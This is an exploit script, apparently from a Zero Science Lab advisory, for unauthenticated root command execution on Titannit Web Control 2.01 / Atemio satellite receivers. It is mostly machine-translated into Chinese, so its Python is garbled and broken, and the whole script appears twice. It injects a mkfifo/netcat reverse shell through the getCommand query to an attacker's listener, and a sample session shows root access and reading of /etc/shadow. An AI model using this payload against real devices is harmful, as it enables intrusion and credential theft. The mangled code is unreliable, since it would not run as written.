#!/usr/bin/env Python
# - * - 编码: UTF-8 - * -
#
#
#Titannit Web Control 2.01/Atemio 7600根远程代码执行
#
#
#vendor: AAF数字高清论坛| Atelmo GmbH
#产品网页: http://www.aaf-digital.info | https://www.atemio.de
#受影响的版本:固件=2.01
#
#summary: Atemio AM 520 HD全高清卫星接收器启用
#在压倒性图像质量中接受数字卫星程序
#在SD和HD范围内。除了许多连接外,
#全能提供各种可以轻松安装的插件
#感谢大型闪存。使用的Titannit Linux软件结合了
#现有的E2和中微子系统的优点,因此是
#快速,稳定和适应性。
#
#desc:设备中的漏洞启用未经授权的攻击者
#要执行具有提升特权的系统命令。这个利用是
#通过在应用程序中使用“ getCommand”查询来促进,
#允许攻击者获得根访问权限。
#
#============================================================================================
#_#python titannnit_rce.py 192.168.1.1.13:20000 192.168.1.8 9999
#[*]启动回调侦听器子线程
#[*]在端口9999上听
#[*]生成回调有效载荷
#[*]打电话
#[*]回调等待: 3S
#[*]('192.168.1.13',40943)回电
#[*] rootshell会话打开
#SH:无法设置终端过程组(1134):设备不合适的IOCTL
#SH:这个外壳中没有工作控制
#SH-5.1#id
#-SH -5.1#id
#uid=0(root)gid=0(root)
#SH-5.1#CAT /ETC /Shadow | grep root
#-SH -5.1#cat /etc /shadow | grep root
#root: $ 6 $ TADBGJ2MY *** :187293333333333:999999999999999999333333333333333333333333333333333333333:
#SH-5.1#退出
#[*]好的,再见!
#
#_#
#============================================================================================
#
#测试在: GNU/Linux 2.6.32.71(Stmicroelectronics)
#GNU/Linux 3.14-1.17(ARMV7L)
#GNU/Linux 3.14.2(MIPS)
#Atemio M46506修订990
#Atemio 7600 HD STB
#CPU STX7105 Mboard
#Titan Web服务器
#
#
#由gjoko'liquidworm'Krstic发现的脆弱性
#@zeroscience
#
#
#咨询ID: ZSL-2023-5801
#咨询url: https://www.zeroscience.mk/en/vulnerabilities/zsl-2023-5801.php
#
#
#16.11.2023
#
从时间进口睡眠
导入线程
导入请求
导入套接字
导入系统
类RemoteControl:
def __init __(self):
self.timeout=10
self.target=无
self.callback=无
self.cstop=threading.event()
self.path='/query?getCommand=cmd='
self.lport=无
self.cmd=无
DEF信标(Self):
self.cmd='mkfifo /tmp /j; cat /tmp /j | sh -i 21 | nc'
self.cmd +=self.callback +''
self.cmd +=str(self.lport) +''
self.cmd +='/tmp/j'
self.path +=self.cmd
r=requests.get(self.target + self.path)
def slusaj(self):
s=socket.socket(socket.af_inet,socket.sock_stream)
s.bind(('0.0.0.0',self.lport))
S.Listen(1)
打印('[*]在端口' + str(self.lport)上聆听)
睡眠(1)
TRY:
conn,addr=s.accept()
print('\ n [*]',addr,'回叫')
打印('[*] rootshell会话打开')
self.cstop.set()
除了socket.TimeOut:
打印('[ - ]调用返回超时\ n [!]检查您的端口')
conn.close()
而true:
TRY:
odg=conn.recv(999999).decode()
sys.stdout.write(ODG)
命令=输入()
命令+='\ n'
如果命令:中的“退出”
出口(-17)
conn.send(command.encode())
睡眠(0.5)
sys.stdout.write(' - ' + odg.split('\ n')[ - 1])
Except:
打印('[*]好,再见!')
出口(-1)
s.close()
Def Tajmer(Self):
对于z范围(self.timeout,0,-1):
poraka=f'[*]回调等待: {z} s'
打印(poraka,end='',flush=true)
sys.stdout.flush()
睡眠(1)
如果self.cstop.is_set():
休息
打印('' * len(poraka),end='\ r')
如果不是self.cstop.is_set():
打印('[ - ]调用返回超时\ n [!]检查您的端口')
出口(0)
其他:
打印(end='')
def刺激器(自我):
打印('[*]启动回调侦听器童线程')
plet1=螺纹。
plet1.start()
睡眠(1)
打印('[*]生成回调有效载荷')
睡眠(1)
打印('[*]调用')
plet2=螺纹。
plet2.start()
self.beacon()
plet1.join()
plet2.join()
def howto(self):
如果Len(sys.argv)!=4:
self.usage()
其他:
self.target=sys.argv [1]
self.callback=sys.argv [2]
self.lport=int(sys.argv [3])
如果不是self.target.startswith('http'):
self.target='http://{}'。格式(self.target)
Def Dostabesemolk(Self):
naslov='''
o===-------------------------------------------------------===o
| |
| Titannit Web控制远程代码执行|
| ZSL-2023-5801 |
| |
o===-------------------------------------------------------===o
||
||
||
||
||
||
||
||
l!
/_)
//l
________________________/(__)
_________________________(__)
\ (_)
||
||
||
||
||
||
'''
印刷(纳斯洛夫)
DEF用法(self):
self.dostabesemolk()
打印('USAGE:/titan.py Target IP IP听听IP听听端口')
print('example:/titan.py 192.168.1.1.13:20000 192.168.1.8 9999')
出口(0)
def main(self):
self.howto()
self.thricer()
如果name=='__ -Main __':
remotecontrol()。main()
# - * - 编码: UTF-8 - * -
#
#
#Titannit Web Control 2.01/Atemio 7600根远程代码执行
#
#
#vendor: AAF数字高清论坛| Atelmo GmbH
#产品网页: http://www.aaf-digital.info | https://www.atemio.de
#受影响的版本:固件=2.01
#
#summary: Atemio AM 520 HD全高清卫星接收器启用
#在压倒性图像质量中接受数字卫星程序
#在SD和HD范围内。除了许多连接外,
#全能提供各种可以轻松安装的插件
#感谢大型闪存。使用的Titannit Linux软件结合了
#现有的E2和中微子系统的优点,因此是
#快速,稳定和适应性。
#
#desc:设备中的漏洞启用未经授权的攻击者
#要执行具有提升特权的系统命令。这个利用是
#通过在应用程序中使用“ getCommand”查询来促进,
#允许攻击者获得根访问权限。
#
#============================================================================================
#_#python titannnit_rce.py 192.168.1.1.13:20000 192.168.1.8 9999
#[*]启动回调侦听器子线程
#[*]在端口9999上听
#[*]生成回调有效载荷
#[*]打电话
#[*]回调等待: 3S
#[*]('192.168.1.13',40943)回电
#[*] rootshell会话打开
#SH:无法设置终端过程组(1134):设备不合适的IOCTL
#SH:这个外壳中没有工作控制
#SH-5.1#id
#-SH -5.1#id
#uid=0(root)gid=0(root)
#SH-5.1#CAT /ETC /Shadow | grep root
#-SH -5.1#cat /etc /shadow | grep root
#root: $ 6 $ TADBGJ2MY *** :187293333333333:999999999999999999333333333333333333333333333333333333333:
#SH-5.1#退出
#[*]好的,再见!
#
#_#
#============================================================================================
#
#测试在: GNU/Linux 2.6.32.71(Stmicroelectronics)
#GNU/Linux 3.14-1.17(ARMV7L)
#GNU/Linux 3.14.2(MIPS)
#Atemio M46506修订990
#Atemio 7600 HD STB
#CPU STX7105 Mboard
#Titan Web服务器
#
#
#由gjoko'liquidworm'Krstic发现的脆弱性
#@zeroscience
#
#
#咨询ID: ZSL-2023-5801
#咨询url: https://www.zeroscience.mk/en/vulnerabilities/zsl-2023-5801.php
#
#
#16.11.2023
#
从时间进口睡眠
导入线程
导入请求
导入套接字
导入系统
类RemoteControl:
def __init __(self):
self.timeout=10
self.target=无
self.callback=无
self.cstop=threading.event()
self.path='/query?getCommand=cmd='
self.lport=无
self.cmd=无
DEF信标(Self):
self.cmd='mkfifo /tmp /j; cat /tmp /j | sh -i 21 | nc'
self.cmd +=self.callback +''
self.cmd +=str(self.lport) +''
self.cmd +='/tmp/j'
self.path +=self.cmd
r=requests.get(self.target + self.path)
def slusaj(self):
s=socket.socket(socket.af_inet,socket.sock_stream)
s.bind(('0.0.0.0',self.lport))
S.Listen(1)
打印('[*]在端口' + str(self.lport)上聆听)
睡眠(1)
TRY:
conn,addr=s.accept()
print('\ n [*]',addr,'回叫')
打印('[*] rootshell会话打开')
self.cstop.set()
除了socket.TimeOut:
打印('[ - ]调用返回超时\ n [!]检查您的端口')
conn.close()
而true:
TRY:
odg=conn.recv(999999).decode()
sys.stdout.write(ODG)
命令=输入()
命令+='\ n'
如果命令:中的“退出”
出口(-17)
conn.send(command.encode())
睡眠(0.5)
sys.stdout.write(' - ' + odg.split('\ n')[ - 1])
Except:
打印('[*]好,再见!')
出口(-1)
s.close()
Def Tajmer(Self):
对于z范围(self.timeout,0,-1):
poraka=f'[*]回调等待: {z} s'
打印(poraka,end='',flush=true)
sys.stdout.flush()
睡眠(1)
如果self.cstop.is_set():
休息
打印('' * len(poraka),end='\ r')
如果不是self.cstop.is_set():
打印('[ - ]调用返回超时\ n [!]检查您的端口')
出口(0)
其他:
打印(end='')
def刺激器(自我):
打印('[*]启动回调侦听器童线程')
plet1=螺纹。
plet1.start()
睡眠(1)
打印('[*]生成回调有效载荷')
睡眠(1)
打印('[*]调用')
plet2=螺纹。
plet2.start()
self.beacon()
plet1.join()
plet2.join()
def howto(self):
如果Len(sys.argv)!=4:
self.usage()
其他:
self.target=sys.argv [1]
self.callback=sys.argv [2]
self.lport=int(sys.argv [3])
如果不是self.target.startswith('http'):
self.target='http://{}'。格式(self.target)
Def Dostabesemolk(Self):
naslov='''
o===-------------------------------------------------------===o
| |
| Titannit Web控制远程代码执行|
| ZSL-2023-5801 |
| |
o===-------------------------------------------------------===o
||
||
||
||
||
||
||
||
l!
/_)
//l
________________________/(__)
_________________________(__)
\ (_)
||
||
||
||
||
||
'''
印刷(纳斯洛夫)
DEF用法(self):
self.dostabesemolk()
打印('USAGE:/titan.py Target IP IP听听IP听听端口')
print('example:/titan.py 192.168.1.1.13:20000 192.168.1.8 9999')
出口(0)
def main(self):
self.howto()
self.thricer()
如果name=='__ -Main __':
remotecontrol()。main()